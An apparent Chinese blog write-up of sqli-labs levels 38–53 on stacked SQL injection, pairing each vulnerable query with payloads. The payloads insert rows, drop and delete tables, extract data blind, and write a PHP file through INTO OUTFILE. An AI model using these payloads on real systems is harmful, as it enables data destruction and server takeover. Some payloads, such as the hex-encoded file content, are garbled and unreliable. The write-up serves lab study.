SQL注入之堆叠注入

less-38

源码:$sql="select * from users where id='$id' limit 0,1";

注入:?id=1';insert into users (id,username,password) values(12,'jack','jacl')--+

less-39

源码:$sql="select * from users where id=$id limit 0,1";

注入:?id=1;insert into users (id,username,password) values(12,'jack','jacl')--+

less-40

源码:$sql="select * from users where id=('$id') limit 0,1";

注入:?id=1');insert into users (id,username,password) values(12,'jack','jacl')--+

less-41:

和less-40一样,盲注

注入:?id=1;insert into users (id,username,password) values(13,'jack','jack')%23

less-42:

源码login.php:

$username=mysqli_real_escape_string($conl, $_POST['login_user']);

$password=$_POST["login_password"];  //password没有被过滤

$sql="select * from users where username='$username' and password='$password'";

注入:a';create table class like users#

less-43:

源码login.php:

漏洞同上,区别在于:$sql="select * from users where username=('$username') and password=('$password')";

注入:a');drop table class#

less-44:

没有任何报错信息,采用盲注

漏洞同less-42

注入:a';insert into class (id,username,password) values('11','jack','jack')#

less-45:

没有任何报错信息,采用盲注

漏洞同less-43

注入:a');delete from class where id=11#

less-46:

源码:$sql="select * from users order by $id";

尝试?sort=1 desc和?sort=1 asc, 显示结果不同,则表明可以注入,?sort=rand(ture)和?sort=rand(false)的结果也不一样

1.报错注入:?sort=(select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()), 0x3a,0x3a,floor(rand()*2)) limit 0,1)

2.延时注入:?sort=1 and if(ascii(substr(database(),1,1))=118,0,sleep(5))

3.添加注入语句

procedure analyse参数注入:?sort=1 procedure analyse(extractvalue(rand()*2, concat(0x3a,version())),1)

into outfile参数注入:?sort=1 into outfile "c:/data.txt"

less-47:

源码:$sql="select * from users order by '$id'";  //将数字型变成了字符型

1.and rand相结合

2.导入导出文件into outfile参数

?sort=1' into outfile "c:/data.txt"--+

利用lines terminated by上传木马

?sort=1' into outfile "c:/..../data.php" lines terminated by Ox3c3f604947501d3979--+(木马<? php phpinfo();?>进行16进制转换)

less-48:

与less-46的区别在于没有报错信息,盲注

?sort=(if(ascii(substr(database(),1,1))=116,0,sleep(5)))

less-49:

与less-47的区别在于没有报错信息,盲注

?sort=1' and (if(ascii(substr(select username from users limit 0,1),1,1))=69,0,sleep(1)))--+

less-50

源码:$sql="select * from users order by $id";

if (mysqli_multi_query($con1,$sql))  //mysqli_multi_query()可以执行多个sql语句,而mysqli_query()只能执行一个sql语句

注入:?sort=1;create table jack like users#

less-51

源码:$sql="select * from users order by '$id'";

注入:?sort=1';drop table jack--+

less-52

同less-50,不过没有报错信息

注入:?sort=1;insert into users (id,username,password) values('16','jack','jack')--+

less-53

同less-51,不过没有报错信息,盲注

注入:?sort=1';delete from jack where id=16;--+


  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值